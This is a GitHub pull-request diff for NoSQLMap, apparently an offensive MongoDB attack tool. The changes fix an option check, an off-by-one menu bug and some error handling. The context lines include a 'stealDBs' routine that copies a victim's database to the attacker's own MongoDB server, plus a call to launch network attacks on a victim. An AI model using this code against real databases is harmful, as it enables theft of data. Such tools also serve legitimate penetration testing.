Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion nosqlmap.py
Original file line number Diff line number Diff line change
Expand Up @@ -93,7 +93,7 @@ def mainMenu():
options()

elif select == "2":
if optionSet[0] == True:
if optionSet[0] == True and optionSet[4] == True:
if platform == "MongoDB":
nsmmongo.netAttacks(victim, dbPort, myIP, myPort)

Expand Down
9 changes: 5 additions & 4 deletions nsmmongo.py
Original file line number Diff line number Diff line change
Expand Up @@ -154,7 +154,7 @@ def stealDBs(myDB,victim,mongoConn):
while dbLoot:
dbLoot = raw_input("Select a database to steal: ")

if int(dbLoot) > menuItem:
if int(dbLoot) >= menuItem:
print "Invalid selection."

else:
Expand All @@ -163,9 +163,9 @@ def stealDBs(myDB,victim,mongoConn):
try:
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
dbNeedCreds = raw_input("Does this database require credentials (y/n)? ")

myDBConn = pymongo.MongoClient(myDB, 27017)
if dbNeedCreds in no_tag:
myDBConn = pymongo.MongoClient(myDB,27017)

myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)

elif dbNeedCreds in yes_tag:
Expand All @@ -189,7 +189,8 @@ def stealDBs(myDB,victim,mongoConn):
if str(e).find('text search not enabled') != -1:
raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...")
return

elif str(e).find('Network is unreachable') != -1:
raw_input("Are you sure your network is unreachable? Press enter to return..")
else:
raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...")
return
Expand Down